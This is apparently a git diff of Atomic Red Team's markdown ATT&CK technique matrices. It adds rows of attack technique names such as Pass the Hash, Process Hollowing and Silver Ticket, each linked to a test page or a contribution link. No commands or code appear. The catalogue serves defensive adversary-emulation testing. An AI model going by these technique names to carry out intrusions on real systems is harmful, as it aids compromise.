+|  | [Windows Command Shell](../../T1059.003/T1059.003.md) | [Emond](../../T1546.014/T1546.014.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | [Password Filter DLL](../../T1556.002/T1556.002.md) | [System Owner/User Discovery](../../T1033/T1033.md) |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  | [Windows Management Instrumentation](../../T1047/T1047.md) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Guessing](../../T1110.001/T1110.001.md) | [System Service Discovery](../../T1007/T1007.md) |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Exchange Email Delegate Permissions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Time Discovery](../../T1124/T1124.md) |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
+|  |  | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Spraying](../../T1110.003/T1110.003.md) | Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [External Remote Services](../../T1133/T1133.md) | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |
+|  |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | Double File Extension [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Private Keys](../../T1552.004/T1552.004.md) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |
+|  |  | Hypervisor [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Downgrade Attack [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Proc Filesystem](../../T1003.007/T1003.007.md) |  |  |  |  |  |  |
+|  |  | IIS Components [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Downgrade System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [SAML Tokens](../../T1606.002/T1606.002.md) |  |  |  |  |  |  |
+|  |  | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Launch Agent](../../T1543.001/T1543.001.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Account Manager](../../T1003.002/T1003.002.md) |  |  |  |  |  |  |
+|  |  | Implant Internal Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Daemon](../../T1543.004/T1543.004.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | [Launchd](../../T1053.004/T1053.004.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | Silver Ticket [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Accounts](../../T1078.003/T1078.003.md) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Launch Agent](../../T1543.001/T1543.001.md) | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Launch Daemon](../../T1543.004/T1543.004.md) | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Launchd](../../T1053.004/T1053.004.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Local Account](../../T1136.001/T1136.001.md) | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Local Accounts](../../T1078.003/T1078.003.md) | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Parent PID Spoofing](../../T1134.004/T1134.004.md) | [File Deletion](../../T1070.004/T1070.004.md) | Windows Credential Manager [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Gatekeeper Bypass](../../T1553.001/T1553.001.md) |  |  |  |  |  |  |  |
+|  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) | HTML Smuggling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Plist Modification](../../T1547.011/T1547.011.md) | Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Port Monitors](../../T1547.010/T1547.010.md) | [Hidden Files and Directories](../../T1564.001/T1564.001.md) |  |  |  |  |  |  |  |
+|  |  | [Office Application Startup](../../T1137/T1137.md) | Portable Executable Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hidden Users](../../T1564.002/T1564.002.md) |  |  |  |  |  |  |  |
+|  |  | Office Template Macros [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [PowerShell Profile](../../T1546.013/T1546.013.md) | [Hidden Window](../../T1564.003/T1564.003.md) |  |  |  |  |  |  |  |
+|  |  | [Office Test](../../T1137.002/T1137.002.md) | Print Processors [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hide Artifacts](../../T1564/T1564.md) |  |  |  |  |  |  |  |
+|  |  | Outlook Forms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Proc Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Outlook Home Page](../../T1137.004/T1137.004.md) | Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Impair Command History Logging](../../T1562.003/T1562.003.md) |  |  |  |  |  |  |  |
+|  |  | Outlook Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Process Hollowing](../../T1055.012/T1055.012.md) | Impair Defenses [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Password Filter DLL](../../T1556.002/T1556.002.md) | [Process Injection](../../T1055/T1055.md) | [Indicator Blocking](../../T1562.006/T1562.006.md) |  |  |  |  |  |  |  |
+|  |  | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Ptrace System Calls [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [RC Scripts](../../T1037.004/T1037.004.md) | [Indicator Removal on Host](../../T1070/T1070.md) |  |  |  |  |  |  |  |
+|  |  | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Re-opened Applications](../../T1547.007/T1547.007.md) | [Indirect Command Execution](../../T1202/T1202.md) |  |  |  |  |  |  |  |
+|  |  | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) | [Registry Run Keys / Startup Folder](../../T1547.001/T1547.001.md) | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  |  |  |
+|  |  | [Plist Modification](../../T1547.011/T1547.011.md) | SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [InstallUtil](../../T1218.004/T1218.004.md) |  |  |  |  |  |  |  |
+|  |  | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | [Scheduled Task](../../T1053.005/T1053.005.md) | Invalid Code Signature [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Port Monitors](../../T1547.010/T1547.010.md) | [Screensaver](../../T1546.002/T1546.002.md) | [Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) |  |  |  |  |  |  |  |
+|  |  | [PowerShell Profile](../../T1546.013/T1546.013.md) | [Security Support Provider](../../T1547.005/T1547.005.md) | [Local Accounts](../../T1078.003/T1078.003.md) |  |  |  |  |  |  |  |
+|  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | MMC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Print Processors [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [MSBuild](../../T1127.001/T1127.001.md) |  |  |  |  |  |  |  |
+|  |  | [RC Scripts](../../T1037.004/T1037.004.md) | [Setuid and Setgid](../../T1548.001/T1548.001.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Shortcut Modification](../../T1547.009/T1547.009.md) | [Mark-of-the-Web Bypass](../../T1553.005/T1553.005.md) |  |  |  |  |  |  |  |
+|  |  | [Re-opened Applications](../../T1547.007/T1547.007.md) | [Startup Items](../../T1037.005/T1037.005.md) | [Masquerade Task or Service](../../T1036.004/T1036.004.md) |  |  |  |  |  |  |  |
+|  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | [Masquerading](../../T1036/T1036.md) |  |  |  |  |  |  |  |
+|  |  | [Registry Run Keys / Startup Folder](../../T1547.001/T1547.001.md) | [Systemd Service](../../T1543.002/T1543.002.md) | [Match Legitimate Name or Location](../../T1036.005/T1036.005.md) |  |  |  |  |  |  |  |
+|  |  | SQL Stored Procedures [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Systemd Timers](../../T1053.006/T1053.006.md) | Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [SSH Authorized Keys](../../T1098.004/T1098.004.md) | Thread Execution Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Scheduled Task](../../T1053.005/T1053.005.md) | Thread Local Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Cloud Compute Infrastructure [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Time Providers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Modify Registry](../../T1112/T1112.md) |  |  |  |  |  |  |  |
+|  |  | [Screensaver](../../T1546.002/T1546.002.md) | [Token Impersonation/Theft](../../T1134.001/T1134.001.md) | Modify System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Security Support Provider](../../T1547.005/T1547.005.md) | [Trap](../../T1546.005/T1546.005.md) | [Mshta](../../T1218.005/T1218.005.md) |  |  |  |  |  |  |  |
+|  |  | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) | [Msiexec](../../T1218.007/T1218.007.md) |  |  |  |  |  |  |  |
+|  |  | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | VDSO Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [NTFS File Attributes](../../T1564.004/T1564.004.md) |  |  |  |  |  |  |  |
+|  |  | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Address Translation Traversal [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Shortcut Modification](../../T1547.009/T1547.009.md) | [Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) | Network Boundary Bridging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Startup Items](../../T1037.005/T1037.005.md) | [Windows Service](../../T1543.003/T1543.003.md) | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | System Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Winlogon Helper DLL](../../T1547.004/T1547.004.md) | [Network Share Connection Removal](../../T1070.005/T1070.005.md) |  |  |  |  |  |  |  |
+|  |  | [Systemd Service](../../T1543.002/T1543.002.md) | XDG Autostart Entries [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Obfuscated Files or Information](../../T1027/T1027.md) |  |  |  |  |  |  |  |
+|  |  | [Systemd Timers](../../T1053.006/T1053.006.md) |  | [Odbcconf](../../T1218.008/T1218.008.md) |  |  |  |  |  |  |  |
+|  |  | TFTP Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Parent PID Spoofing](../../T1134.004/T1134.004.md) |  |  |  |  |  |  |  |
+|  |  | Time Providers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Pass the Hash](../../T1550.002/T1550.002.md) |  |  |  |  |  |  |  |
+|  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Pass the Ticket](../../T1550.003/T1550.003.md) |  |  |  |  |  |  |  |
+|  |  | [Transport Agent](../../T1505.002/T1505.002.md) |  | [Password Filter DLL](../../T1556.002/T1556.002.md) |  |  |  |  |  |  |  |
+|  |  | [Trap](../../T1546.005/T1546.005.md) |  | Patch System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) |  | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Web Shell](../../T1505.003/T1505.003.md) |  | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) |  |  |  |  |  |  |  |
+|  |  | [Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) |  | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) |  |  |  |  |  |  |  |
+|  |  | [Windows Service](../../T1543.003/T1543.003.md) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Winlogon Helper DLL](../../T1547.004/T1547.004.md) |  | Portable Executable Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | XDG Autostart Entries [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Proc Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | [Process Hollowing](../../T1055.012/T1055.012.md) |  |  |  |  |  |  |  |
+|  |  |  |  | [Process Injection](../../T1055/T1055.md) |  |  |  |  |  |  |  |
 |  |  |  |  | Ptrace System Calls [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [PubPrn](../../T1216.001/T1216.001.md) |  |  |  |  |  |  |  |
 |  |  |  |  | ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Reduce Key Space [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [Regsvcs/Regasm](../../T1218.009/T1218.009.md) |  |  |  |  |  |  |  |
 |  |  |  |  | [Regsvr32](../../T1218.010/T1218.010.md) |  |  |  |  |  |  |  |
 |  |  |  |  | [Rename System Utilities](../../T1036.003/T1036.003.md) |  |  |  |  |  |  |  |
+|  |  |  |  | Resource Forking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Revert Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Right-to-Left Override [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [Rogue Domain Controller](../../T1207/T1207.md) |  |  |  |  |  |  |  |
@@ -125,6 +133,7 @@
 |  |  |  |  | [Rundll32](../../T1218.011/T1218.011.md) |  |  |  |  |  |  |  |
 |  |  |  |  | SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Safe Mode Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) |  |  |  |  |  |  |  |
diff --git a/atomics/Indexes/Matrices/windows-matrix.md b/atomics/Indexes/Matrices/windows-matrix.md
index b4fae927..3e5f574f 100644
--- a/atomics/Indexes/Matrices/windows-matrix.md
+++ b/atomics/Indexes/Matrices/windows-matrix.md
@@ -2,88 +2,96 @@
 | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | impact |
 |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|
 | Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Windows)](../../T1053.002/T1053.002.md) | [Accessibility Features](../../T1546.008/T1546.008.md) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Account Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Automated Exfiltration](../../T1020/T1020.md) | Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Access Removal](../../T1531/T1531.md) |
-| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Manipulation](../../T1098/T1098.md) | Access Token Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Access Token Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [AS-REP Roasting](../../T1558.004/T1558.004.md) | [Application Window Discovery](../../T1010/T1010.md) | [Distributed Component Object Model](../../T1021.003/T1021.003.md) | [Archive Collected Data](../../T1560/T1560.md) | Data Transfer Size Limits [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Object Model [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Active Setup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Accessibility Features](../../T1546.008/T1546.008.md) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
